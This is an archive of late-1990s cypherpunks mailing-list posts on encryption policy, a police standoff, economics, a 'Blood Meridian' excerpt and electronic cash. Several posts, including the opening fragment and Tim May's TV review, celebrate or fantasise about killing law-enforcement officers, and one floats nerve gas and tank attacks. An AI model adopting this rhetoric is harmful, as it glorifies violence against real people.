> is being beseiged by Waco-type raiders. Look for her to "set 
> her house on fire."

> (Not to sound like the little dog in Oz, but: "Pay no 
> attention to the SWAT team pushing the nozzle of a flame 
> thrower under her door.")

I can't help wondering if some former SPECWAR guy somewhere 
out there who took his oath seriously, just one, may not get 
a little sick of watching this stuff on the news and give 
the old lady a present and the Nazis a message one morning... 
a SWAT team sleeping the eternal sleep at their posts, their 
necks having been mildly adjusted during the quiet night.

"Whatcha gonna do when they come for you, come for you...?"

Nighty-night!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 29 Oct 1997 19:59:07 +0800
To: graycastle@ppw.net
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
In-Reply-To: <3456BE4E.3B3D@ppw.net>
Message-ID: <199710291117.LAA01288@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




graycastle@ppw.net
> > >The best way to help Mrs. Allen is to find ways for her to communicate
> > >with the civilized world.
> > 
> > >Maybe use a model airplane deliver a CB?  Or a spread spectrum radio?
> > 
> > What is needed is several thousand well armed militia to go down there and
> > send the JackBooted thugs packing. I am willing to donate my time to such
> > a worthy cause.
> 
> that is the type of answer that gets even more people killed.
> what good is developing privacy software if you are going to march out
> and invite uncle sam to put a bullet in you?

A robin hood style hack would be preferable -- rescue Mrs Allen
without killing any Feds, not that they might not deserve it, but it
makes for better PR.

How about the model airplane to get a spread spectrum radio to Mrs
Allen, followed by a suprise tank attack, or APC if the Feds have no
hardware with them to touch a tank, drive right into her front room.


The Gandi style walk in, in numbers walk off with Mrs Allen :-)  What are
they going to do, shoot 1000 unarmed citizens?

This kind of tactic works quite well for tyrants who have become too 
civilised.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Wed, 29 Oct 1997 20:19:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bob - FYI -- not sure if this was already posted ?
Message-ID: <345727CB.3B2B@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke (JonWienk@ix.netcom.com) wrote:
> Like a kidnapper is really going to encrypt a ransom note so the kidnap
> victim's friends won't be able to figure out how to deliver the ransom
> money. DUHHHHHHH!

But what if you're out at lunch or on vacation, or just moved, and 
no-one can read the message because they don't have the key? We must 
have GMR encryption to FBI keys now, just in case!

(That's not entirely facetious, I could see them making this kind of
argument if CMR is widely adopted... it's not Big Brother, it's just
another useful public service).

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: graycastle@ppw.net
Date: Wed, 29 Oct 1997 12:44:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
In-Reply-To: <199710290424.XAA02264@users.invweb.net>
Message-ID: <3456BE4E.3B3D@ppw.net>
MIME-Version: 1.0
Content-Type: text/plain



> >>Let's talk tactics ... how would you disable the Feds without killing
> >>Mrs Allen -- helicopter and nerve gas -- well organised get away?
> 
> >Question: Are the Feds involved, or is it just the State of Illinois? If
> >the Feds really are involved, what possible justification do they have?
> 
> >The best way to help Mrs. Allen is to find ways for her to communicate
> >with the civilized world.
> 
> >Maybe use a model airplane deliver a CB?  Or a spread spectrum radio?
> 
> What is needed is several thousand well armed militia to go down there and
> send the JackBooted thugs packing. I am willing to donate my time to such
> a worthy cause.

that is the type of answer that gets even more people killed.
what good is developing privacy software if you are going to march out
and invite uncle sam to put a bullet in you?

i go with the model plane.

kasumi
"Just because I know nothing about crypto doesn't mean I have no common
sense."



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Oct 1997 23:41:08 +0800
To: cypherpunks@toad.com
Subject: Freeh agitating again
Message-ID: <199710291527.QAA11521@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>From Infobeat (http://www.infobeat.com):

*** FBI chief calls for computer crime crackdown

FBI director Louis Freeh said Tuesday that criminals were moving
increasingly into cyberspace and without new laws "drug dealers, arms
dealers, terrorists and spies will have immunity like no other".
Freeh told the International Association of Chiefs of Police that
software manufacturers should be required by law to include a feature
that allows police to descramble encrypted communications. Freeh said
he supported a cyber surveillance law with these features which
passed out of the House Intelligence Committee. For the full text
story, see
http://www.infobeat.com/stories/cgi/story.cgi?id=5663807-3cc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 30 Oct 1997 10:14:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: <<Vitamin B>>(October 28, 1997) The Power of Ecobabble
Message-ID: <199710300204.SAA22887@mail-gw3.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

While I know nothing of Bionomics, Professor Krugman's ill-tempered
essay intrigues me.

Robert Hettinga wrote that VitaminB@bionomics.org wrote that Paul
Krugman wrote in Slate:
> Take, for starters, his assertion that "orthodox economics describes
> the 'economy as a machine.' " You might presume from his use of
> quotation marks that this is something an actual economist said, or
> at least that it was the sort of thing that economists routinely
> say. But no economist I know thinks of the economy as being anything
> like a machine--or believes, as Rothschild asserts a bit later, that
> because the economy is like a machine, it is possible to make
> precise predictions.

"Methinks the lady doth protest too much."  While hard core economists
may not describe the economy as a machine, the popular literature,
such as that found in news stories on "the economy", almost always
uses machine metaphors.  "The economy was in danger of becoming
overheated, so the Fed raised interest rates."

The metaphors which people choose often have powerful political
implications.  After all, if the economy is sort of like a machine,
then it makes sense to have trained professionals who tune that
machine to operate with optimal efficiency.  It is not hard to figure
out why the ruling elite prefers this metaphor to some others that
could be chosen.

For instance, you could say the economy is an elaborate network of
relationships based on trust.  You could say that employment occurs
when two or more people agree to exchange goods or services.

Let's say unemployment figures are up.  If you believe the economy is
like a machine, then you will believe that there should be a central
planning organization like the Fed that should lower interest rates.

If you believe that the unemployment goes down when people form
employment relationships, you may think about ways to remove obstacles
to the formation of these relationships.

Note that the second more reasonable approach does not promote the
interests of a national ruling elite.

> In just the last two years, I've learned that I believe that gross
> domestic product is the sole measure of economic welfare...

In popular economics GDP is used almost exclusively as a measure of
success.  I strongly suspect that when Krugman says he himself does
not believe this, that he has some other set of statistical measures
which he considers to be better measures of success.

If this is the case, then he has completely missed the point.

Such statistical measures are sensible when one accepts that the
purpose of economics is to best instruct the rulers of a society in
their economic policy decisions.  In such a framework, the rulers
decide what is good and then decide how to cause that good to
increase.

The only problem with this is that it neglects to consider the
preferences of individual people.  It is highly unlikely that their
economic behavior is dictated by the authorities for their own best
interest because the authorities have no way of knowing what that best
interest might be.  People have their own beliefs and preferences on
that subject.

For example, a small island nation in the Pacific is highly regarded
as an "economic success".  One of the features of this society is that
government provided or subsidized housing is widely available.  People
who wish to spend their money on having a nice apartment like this.
But, many people may prefer to live in less expensive surroundings and
spend the money they save on other things, or to simply work less.

Krugman supports my theory about his beliefs later when he says:
> But it does not deify the market system, and it even offers a number
> of fairly well-defined ways in which markets can fail, or at least
> could be helped with government intervention. And that, for some
> conservatives, is just not good enough.

We do not see any examples of "market failures" and, indeed, the
people Krugman refers to would probably not see them as failure at
all.

It seems highly likely that Krugman has committed the sin he accuses
the Bionomicists of committing: he doesn't truly understand the
philosophy he is criticizing.


Also interesting is Krugman's obvious discomfiture with people who
would explore the ideas of the Bionomicists.  It may be the case that
the Bionomics crowd does not thoroughly understand classical economics
or evolutionary biology.  This would not be the first time that people
on the fringes of several disciplines came up with new ideas which
transformed the field.  (Take J. Kepler, the professional astrologer.
Kepler had many totally wacked out theories.  He believed completely
in astrology.  He believed the Earth was a living organism and the
tides were related to its breathing.  He believed the orbits of the
planets were distributed in relationship to the Platonic solids.  And,
get this, he believed that the area a planetary radius swept out in
time was constant.)

Obviously, Bionomics might be fraught with errors,
oversimplifications, and misrepresentations.  In spite of this, there
may be ideas that would interest an open minded professional.  Even
Marxists occasionally come up with an interesting observation, after
all.

So, Krugman's hostility to the exploration of ideas strikes me as a
little odd for a professor.  Take his final paragraph for an example:

> Anyway, I guess I won't attend the conference. I would have liked to
> meet Benford; but I couldn't stand to watch the author of _Great Sky
> River_ demeaning himself by consorting with such disreputable
> company.

Somehow I can hear an upper class Victorian mother telling her son:
"You should not be seen with that girl.  She's much too common."

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 30 Oct 1997 10:13:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
Message-ID: <199710300205.SAA23234@mail-gw3.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Adam Back wrote:
>The Gandi style walk in, in numbers walk off with Mrs Allen :-)  What are
>they going to do, shoot 1000 unarmed citizens?

You could probably do it with one church congregation's worth of
people.

>This kind of tactic works quite well for tyrants who have become too 
>civilised.

Or, perhaps the basis of political power is a general acceptance of
the rulers among the ruled and acts which would disrupt this
acceptance are more dangerous to the government than you would think.

Amnesty International has been successful just by organizing massive
letter writing expressing disapproval of the treatment of particular
political prisoners.  The regimes affected could not reasonably be
described as "civilized."

For that matter, the U.S. and British governments have not always been
so nice when they didn't think anybody was looking.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Thu, 30 Oct 1997 10:52:15 +0800
To: cypherpunks@Algebra.COM
Subject: Infowar circa 1850
Message-ID: <199710300242.SAA01535@mail-gw2.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

"Blood Meridian: Or the Evening Redness in the West" by Cormac
McCarthy

The Reverend Green had been playing to a full house daily as long as
the rain had been falling and the rain had been falling for two
weeks.  When the kid ducked into the ratty canvas tent there was
standing room along the walls, a place or two, and such a heady reek
of the wet and bathless that they themselves would sally forth into
the downpour now and again for fresh air before the rain drove them
in again.  He stood with others of his kind along the back wall.  The
only thing that might have distinguished him in that crowd was that he
was not armed.
  Neighbors, said the reverend, he couldnt stay out of these here
hell, hell, hellholes right here in Nacogdoches.  I said to him, said:
You goin to take the son of God in there with ye?  And he said: Oh
no.  No I aint.  And I said: Dont you know that he said I will foller
ye always even unto the end of the road?
  Well, he said, I aint askin nobody to go nowheres.  And I said:
Neighbor, you dont need to ask.  He's a goin to be there with ye ever
step of the way whether ye ask it or ye dont.  I said: Neighbor, you
caint get shed of him.  Now.  Are you going to drag him, *him*, into
that hellhole yonder?
  You ever see such a place for rain?
  The kid had been watching the reverend.  He turned to the man who
spoke.  He wore long moustaches after the fashion of teamsters and he
wore a widebrim hat with a low round crown.  He was slightly walleyed
and he was watching the kid earnestly as if he'd know his opinion
about the rain.
  I just got here, said the kid.
  Well it beats all I ever seen.
  The kid nodded.  An enormous man dressed in an oilcloth slicker had
entered the tent and removed his hat.  He was bald as a stone and he
had no trace of beard and he had no brows to his eyes nor lashes to
them.  He was close on to seven feet in height and he stood smoking a
cigar even in this nomadic house of God and he seemed to have removed
his hat only to chase the rain from it for now he put it on again.
  The reverend had stopped his sermon altogether.  There was no sound
in the tent.  All watched the man.  He adjusted the hat and then
pushed his way forward as far as the crateboard pulpit where the
reverend stood and there he turned to address the reverend's
congregation.  His face was serene and strangely childlike.  His hands
were small.  He held them out.
  Ladies and gentlemen I feel it my duty to inform you that the man
holding this revival is an imposter.  He holds no papers of divinity
from any institution recognized or improvised.  He is altogether
devoid of the least qualifications to the office he has usurped and
has only committed to memory a few passages from the good book for the
purpose of lending to his fraudulent sermons some faint flavor of the
piety he despises.  In truth, the gentleman standing here before you
posing as a minister of the Lord is not only totally illiterate but is
also wanted by the law in the states of Tennessee, Kentucky,
Mississippi, and Arkansas.
  Oh God, cried the reverend.  Lies, lies!  He began reading
feverishly from his opened bible.
  On a variety of charges the most recent of which involved a girl of
eleven years - I said eleven - who had come to him in trust and whom
he was surprised in the act of violating while actually clothed in the
livery of his God.
  A moan swept through the crowd.  A lady sank to her knees.
  This is him, cried the reverend, sobbing.  This is him.  The devil.
Here he stands.
  Let's hang the turd, called an ugly thug from the gallery to the
rear.
  Not three weeks before this he was run out of Fort Smith Arkansas
for having congress with a goat.  Yes lady, that is what I said.
Goat.
  Why damn my eyes if I wont shoot the son of a bitch, said a man
rising at the far side of the tent, and drawing a pistol from his boot
he leveled it and fired.
  The young teamster instantly produced a knife from his clothing and
unseamed the tent and stepped outside into the rain.  The kid
followed.  They ducked low and ran across the mud toward the hotel.
Already gunfire was general within the tent and a dozen exits had been
hacked through the canvas walls and people were pouring out, women
screaming, folk stumbling, folk trampled underfoot in the mud.  The
kid and his friend reached the hotel gallery and wiped the water from
their eyes and turned to watch.  As they did so the tent began to sway
and buckle and like a huge and wounded medusa it slowly settled to the
ground trailing tattered canvas walls and ratty guyropes over the
ground.
  The baldheaded man was already at the bar when they entered.  On the
polished wood before him were two hats and a double handful of coins.
He raised his glass but not to them.  They stood up to the bar and
ordered whiskeys and the kid laid his money down but the barman pushed
it back with his thumb and nodded.
  These here is on the judge, he said.
  They drank.  The teamster set his glass down and looked at the kid
or he seemed to, you couldnt be sure of his gaze.  The kid looked down
the bar to where the judge stood.  The bar was that tall not every man
could even get his elbows up on it but it came just to the judge's
waist and he stood with his hands placed flatwise on the wood, leaning
slightly, as if about to give another address.  By now men were piling
through the doorway, bleeding, covered in mud, cursing.  They gathered
about the judge.  A posse was being drawn to pursue the preacher.
  Judge, how did you come to have the goods on that no-account?
  Goods? said the judge.
  When was you in Fort Smith?
  Fort Smith?
  Where did you know him to know all that stuff on him?
  You mean the Reverend Green?
  Yessir.  I reckon you was in Fort Smith fore ye come out here.
  I was never in Fort Smith in my life.  Doubt that he was.
  They looked from one to the other.
  Well where was it you run up on him?
  I never laid eyes on the man before today.  Never even heard of him.
  He raised his glass and drank.
  There was a strange silence in the room.  The men looked like mud
effigies.  Finally someone began to laugh.  Then another.  Soon they
were all laughing together.  Someone bought the judge a drink.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 30 Oct 1997 00:16:08 +0800
To: Brad Dolan <cypherpunks@Algebra.COM
Subject: Re: apropos list talk and our culture
In-Reply-To: <v0310280fb07c3cd80352@[207.167.93.63]>
Message-ID: <v03102800b07cfee877c2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:38 AM -0700 10/29/97, Brad Dolan wrote:
>"Michael Hays" is a new CBS series about a U.S. District Attorney.  Last
>night's episode was about how a radio talk-show host incited a listener
>to kill a BATF agent and was brought to justice.  DA convinced a jury
>that some things were "more important" than the first amendment.
>

I was just about to mention this show, in connection with the Waco incident.

I was truly disgusted by the show. None of the relative balance and realism
that "Law and Order" has, by comparison. For starters, very unrealistic.
Even Freeh and Company understand the role of the First (to give them their
due). Just plain bad writers.

Some of the slimy stuff:  (all quotes are rough paraphrases)

* references to Waco followers as crazies: "they seem to show up everywhere"

* a black assistant to Hayes talks about the chat rooms and online
discussion groups that the "extreme right wing" people are in: "And this
stuff is completely unregulated!"

* the First Amendment is seen as a minor obstacle to prosecution. Hayes
congratulates his assistant at the end for finding a way around the First
as a defense.

* the talk show host has apparently done nothing more than many of us have
done on this list

* he is convicted because he claimed not to have ever met the murderer, but
a tearful witness (girlfriend of the murderer) says they did meet, briefly.

(No evidence is presented that the talk show host participated, supplied
weapons, encouraged the murderer, etc.)

* Oh, and to add to the sliminess, the DA's office promises the tearful
girlfriend that her boyfriend will get a life sentence instead of death if
she testifies, but "whoops."

After the assistant to Hayes talks about the Net being "completely
unregulated!," and after finding the "Pentium II with 48 megs of memory," I
was expecting some mention of encryption. As a way to further show how evil
the online community is. But I saw no mention.

I will admit to a guilty pleasure: the opening scene, where the BATF agent
gets shot in the face, was delicious.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 30 Oct 1997 00:52:47 +0800
To: shamrock@cypherpunks.to
Subject: Re: Source code obfuscation
In-Reply-To: <Pine.BSF.3.96.971028165130.13198F-100000@pakastelohi.cypherpunks.to>
Message-ID: <199710291645.IAA26435@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green writes:
> 
> Is anyone familiar with tools that can be used to 
> obscure source code so that it builds, but no longer
> contains comments or useful variable or procedure
> names?


cfront. 

-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Oct 1997 01:39:55 +0800
To: cypherpunks@toad.com
Subject: digital cash & politics
Message-ID: <199710291706.JAA14952@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Thu, 16 Oct 1997 11:40:46 -0500 (CDT)
To: believer@telepath.com
From: believer@telepath.com
Subject: IP: End of National Markets

Forwarded:
- -----------

>From the USIA Daily Washington File
>http://www.usia.gov/products/washfile.htm
>
>15 October 1997
>
>THE END OF NATIONAL MARKETS (Electronic cash makes regulation difficult)
>
>by Stephen J. Kobrin
>
>(Copyright (c) 1997 Carnegie Endowment for International Peace.
>Reprinted with permission from FOREIGN POLICY magazine, Summer 1997.
>Permission has been obtained covering
>republication/translation/abridgment by USIS and the local press
>outside the United States.)
>
>----------------------------
>
>Twenty-six years ago, Raymond Vernon's "Sovereignty at Bay" proclaimed
>that "concepts such as national sovereignty and national economic
>strength appear curiously drained of meaning."
>
>Other books followed, arguing that sovereignty, the nation-state, and
>the national economy were finished -- victims of multinational
>enterprises and the internationalization of production. While
>sovereign states and national markets have outlasted the chorus of
>Cassandras, this time the sky really may be falling. The emergence of
>electronic cash and a digitally networked global economy pose direct
>threats to the very basis of the territorial state.
>
>Let us begin with two vignettes. Fact: Smugglers fly Boeing 747s
>loaded with illicit drugs into Mexico and then cram the jumbo jets
>full of cash -- American bills -- for the return trip. Fiction: Uncle
>Enzo, Mafia CEO, pays for intelligence in the digital future of Neal
>Stephenson's novel Snow Crash: "He reaches into his pocket and pulls
>out a hypercard and hands it toward Hiro. It says 'Twenty-Five Million
>Hong Kong Dollars.' Hiro reaches out and takes the card. Somewhere on
>earth, two computers swap bursts of electronic noise and the money
>gets transferred from the Mafia's account to Hiro's."
>
>The 747s leaving Mexico are anachronisms, among the last surviving
>examples of the physical transfer of large amounts of currency across
>national borders. Most money has been electronic for some time.
>Virtually all of the trillions of dollars, marks, and yen that make
>their way around the world each day take the form of bytes -- chains
>of zeros and ones. Only at the very end of its journey is money
>transformed into something tangible: credit cards, checks, cash, or
>coins.
>
>Hypercards are here. Mondex, a smart card or electronic purse, can be
>"loaded" with electronic money from an automatic teller machine (atm)
>or by telephone or personal computer using a card-reading device.
>Money is spent either by swiping the card through a retailer's
>terminal or over the Internet by using the card reader and a personal
>computer. An electronic wallet allows anonymous card-to-card
>transfers.
>
>It is not just the current technology of electronic cash (e-cash) or
>even what might be technologically feasible in the future that
>presents policymakers with new challenges. Rather, policymakers must
>confront directly the implications of this technology -- and, more
>generally, the emergence of an electronically networked global economy
>-- for economic and political governance. As the U.S. comptroller of
>the currency, Eugene Ludwig, has noted, "There is clearly a freight
>train coming down the tracks...Just because it hasn't arrived yet
>doesn't mean we shouldn't start getting ready."
>
>ELECTRONIC MONEY
>
>Many different forms of "electronic money" are under development, but
>it is useful to look at three general categories: electronic debit and
>credit systems; various forms of smart cards; and true digital money,
>which has many of the properties of cash.
>
>Electronic debit and credit systems already exist. When a consumer
>uses an ATM card to pay for merchandise, funds are transferred from
>his or her account to the merchant's. Credit cards are used to make
>payments over the Internet. Computer software such as Intuit provides
>electronic bill payment, and it is but a short step to true electronic
>checks --authenticated by a digital signature -- that can be
>transmitted to the payee, endorsed, and deposited over the Internet.
>
>Electronic debit and credit systems represent new, more convenient
>means of payment, but not new payment systems. A traditional bank or
>credit card transaction lies at the end of every transaction chain.
>Smart cards and digital money represent new payment systems with
>potentially revolutionary implications. Smart cards are plastic
>"credit" cards with an embedded microchip. Many are now used as
>telephone or transit payment devices. They can be loaded with currency
>from an atm or via a card reader from a telephone or personal
>computer, which can then be spent at businesses, vending machines, or
>turnstiles that have been equipped with appropriate devices. At this
>most basic level, a smart card is simply a debit card that does not
>require bank approval for each transaction; clearance takes place each
>day and the value resides in third-party accounts. There is no reason,
>however, that smart cards have to be limited in this way.
>
>Banks or other institutions could provide value on smart cards through
>loans, payments for services, or products. The immediate transfer of
>funds between bank accounts is not necessary; units of value can
>circulate from card to card -- and from user to user -- without
>debiting or crediting third-party accounts. Assuming confidence in the
>creating institution, "money" could be created on smart cards and
>could circulate almost indefinitely before redemption.
>
>Finally, electronic money can take true digital form, existing as
>units of value in the form of bytes stored in the memory of personal
>computers that may or may not be backed up by reserve accounts of real
>money. The money could be downloaded from an account, supplied as a
>loan or as payment, or bought with a credit card over the Internet. As
>long as digital cash can be authenticated and there is confidence in
>its continued acceptance, it could circulate indefinitely, allowing
>peer-to-peer payments at will. These are big "ifs," but they are well
>within the realm of the possible.
>
>Imagine a world where true e-cash is an everyday reality. Whether all
>of the following assumptions are correct or even immediately feasible
>is unimportant; some form of e-cash is coming, and we need to begin
>the process of thinking about its as-yet-unexplored consequences for
>economic and political governance.
>
>The year is 2005. You have a number of brands of e-cash on your
>computer's hard drive: some withdrawn from a bank in Antigua, some
>borrowed from Microsoft, and some earned as payment for your services.
>You use the digital value units (DVUs) to purchase information from a
>Web site, pay bills, or send money to your daughter in graduate
>school. Peer-to-peer payments are easy: You can transfer DVUs to any
>computer anyplace in the world with a few keystrokes.
>
>Your e-cash is secure and can be authenticated easily. It is also
>anonymous; governments have not been able to mandate a technology that
>leaves a clear audit trail. Public-key encryption technology and
>digital signatures allow blind transactions; the receiving computer
>knows that the DVUs are authentic without knowing the identity of the
>payer. Your e-cash can be exchanged any number of times without
>leaving a trace of where it has been. It is virtually impossible to
>alter the value of your e-cash at either end of the transaction (by
>adding a few more zeros to it, for example).
>
>DVUs are almost infinitely divisible. Given the virtually negligible
>transaction cost, it is efficient for you to pay a dollar or two to
>see a financial report over the Internet or for your teenager to rent
>a popular song for the few minutes during which it is in vogue.
>Microtransactions have become the norm. E-cash is issued -- actually
>created -- by a large number of institutions, bank and nonbank.
>Electronic currencies (e-currencies) have begun to exist on their own;
>many are no longer backed by hard currency and have developed value
>separately from currencies issued by central banks. DVUs circulate for
>long periods of time without being redeemed or deposited. Consumer
>confidence in the issuer is crucial; as with electronic commerce
>(e-commerce) in general, brand names have become critical.
>
>The early 21st century is described as a world of competing
>e-currencies, a throwback to the 19th-century world of private
>currencies. The better known brands of e-cash are highly liquid and
>universally accepted. It is a relatively simple matter for you to set
>up filters in your electronic purse to screen out e-currencies that
>you do not want to accept.
>
>GOVERNANCE IN THE DIGITAL WORLD
>
>E-cash and the increasing importance of digital markets pose problems
>for central government control over the economy and the behavior of
>economic actors; they also render borders around national markets and
>nation-states increasingly permeable -- or, perhaps, increasingly
>irrelevant. In a world where true e-cash is an everyday reality, the
>basic role of government in a liberal market economy and the relevance
>of borders and geography will be drastically redefined.
>
>While at first glance this concern appears to reflect a traditional
>break between domestic and international economic issues, in fact the
>advent of e-cash raises serious questions about the very idea of
>"domestic" and "international" as meaningful and distinct concepts.
>The new digital world presents a number of governance issues,
>described below.
>
>-- Can central banks control the rate of growth and the size of the
>money supply? Private e-currencies will make it difficult for central
>bankers to control -- or even measure or define -- monetary
>aggregates. Several forms of money, issued by banks and nonbanks, will
>circulate. Many of these monies may be beyond the regulatory reach of
>the state. At the extreme, if, as some libertarians imagine, private
>currencies dominate, currencies issued by central banks may no longer
>matter.
>
>-- Will there still be official foreign exchange transactions? E-cash
>will markedly lower existing barriers to the transfer of funds across
>borders. Transactions that have been restricted to money-center banks
>will be available to anyone with a computer. Peer-to-peer transfers of
>DVUs across national borders do not amount to "official" foreign
>exchange transactions. If you have $200 worth of DVUs on your computer
>and buy a program from a German vendor, you will probably have to
>agree on a mark-to-dollar price. However, transferring the DVUs to
>Germany is not an "official" foreign exchange transaction; the DVUs
>are simply revalued as marks. In fact, national currencies may lose
>meaning with the development of DVUs that have a universally accepted
>denomination. Without severe restrictions on individual privacy --
>which are not out of the question -- governments will be hard-pressed
>to track, account for, and control the flows of money across borders.
>
>-- Who will regulate or control financial institutions? The U.S.
>Treasury is not sure whether existing regulations, which apply to both
>banks and institutions that act like banks (i.e., take deposits),
>would apply to all who issue (and create) e-cash. If nonfinancial
>institutions do not accept the extensive regulatory controls that
>banks take as the norm, can reserve or reporting requirements be
>enforced? What about consumer protection in the event of the
>insolvency of an issuer of e-cash, a system breakdown, or the loss of
>a smart card?
>
>-- Will national income data still be meaningful? It will be almost
>impossible to track transactions when e-cash becomes a widely used
>means of payment, online deals across borders become much easier, and
>many of the intermediaries that now serve as checkpoints for recording
>transactions are eliminated by direct, peer-to-peer payments. The
>widespread use of e-cash will render national economic data much less
>meaningful. Indeed, the advent of both e-cash and e-commerce raises
>fundamental questions about the national market as the basic unit of
>account in the international economic system.
>
>-- How will taxes be collected? Tax evasion will be a serious problem
>in an economy where e-cash transactions are the norm. It will be easy
>to transfer large sums of money across borders, and tax havens will be
>much easier to reach. Encrypted anonymous transactions will make
>audits increasingly problematic. Additionally, tax reporting and
>compliance relies on institutions and intermediaries. With e-cash and
>direct payments, all sorts of sales taxes, value-added taxes, and
>income taxes will be increasingly difficult to collect. More
>fundamentally, the question of jurisdiction -- who gets to tax what --
>will become increasingly problematic. Say you are in Philadelphia and
>you decide to download music from a computer located outside Dublin
>that is run by a firm in Frankfurt. You pay with e-cash deposited in a
>Cayman Islands account. In which jurisdiction does the transaction
>take place?
>
>-- Will e-cash and e-commerce widen the gap between the haves and the
>have-nots? Participation in the global electronic economy requires
>infrastructure and access to a computer. Will e-cash and e-commerce
>further marginalize poorer population groups and even entire poor
>countries? This widened gap between the haves and the have-nots --
>those with and without access to computers -- could become
>increasingly difficult to bridge.
>
>-- Will the loss of seigniorage be important as governments fight to
>balance budgets? Seigniorage originally referred to the revenue or
>profit generated due to the difference between the cost of making a
>coin and its face value; it also refers to the reduction in government
>interest payments when money circulates. The U.S. Treasury estimates
>that traditional seigniorage amounted to $773 million in 1994 and that
>the reduction in interest payments due to holdings of currency rather
>than debt could be as much as $3.5 billion per year. The Bank for
>International Settlements reports that the loss of seigniorage for its
>11 member states will be more than $17 billion if smart cards
>eliminate all bank notes under $25.
>
>-- Will fraud and criminal activity increase in an e-cash economy? At
>the extreme -- and the issue of privacy versus the needs of law
>enforcement is unresolved -- transfers of large sums of cash across
>borders would be untraceable. There would be no audit trail. Digital
>counterfeiters could work from anywhere in the world and spend
>currency in any and all places. New financial crimes and forms of
>fraud could arise that would be hard to detect, and it would be
>extremely difficult to locate the perpetrators. The task of financing
>illegal and criminal activity would be easier by orders of magnitude.
>E-cash will lower the barriers to entry and reduce the risks of
>criminal activity.
>
>Most of the issues raised in the recent National Research Council
>report on cryptography's role in the information society apply
>directly to electronic cash. Secure, easily authenticated, and
>anonymous e-cash requires strong encryption technology. Anonymous
>transactions, however, cannot be restricted to law-abiding citizens.
>Encryption makes it as difficult for enforcement authorities to track
>criminal activity as it does for criminals to penetrate legitimate
>transmissions. Should privacy be complete? Or should law enforcement
>authorities and national security agencies be provided access to
>e-cash transactions through escrowed encryption, for example? What
>about U.S. restrictions on the export of strong encryption technology?
>E-cash is global cash; how can governments limit its geographic
>spread? Can they even suggest that strong encryption algorithms be
>restricted territorially?
>
>GEOGRAPHIC SPACE VERSUS CYBERSPACE
>
>A recent U.S. Treasury paper dealing with the tax implications of
>electronic commerce argues that new communications technologies have
>"effectively eliminated national borders on the information highway."
>It is clear from the paper's subsequent discussion, however, that the
>more fundamental problem is that electronic commerce may "dissolve the
>link between an income-producing activity and a specific location."
>The source of taxable income, which plays a major role in determining
>liability, is defined geographically in terms of where the economic
>activity that produces the income is located. Therein lies the rub:
>"Electronic commerce doesn't seem to occur in any physical location
>but instead takes place in the nebulous world of 'cyberspace.'" In a
>digital economy it will be difficult, or even impossible, to link
>income streams with specific geographic locations.
>
>Digitalization is cutting money and finance loose from its geographic
>moorings. The framework of regulation that governs financial
>institutions assumes that customers and institutions are linked by
>geography -- that spatial proximity matters. E-cash and e-commerce
>snap that link. What remains are systems of economic and political
>governance that are rooted in geography and are trying nonetheless to
>deal with e-cash and markets that exist in cyberspace. The obvious
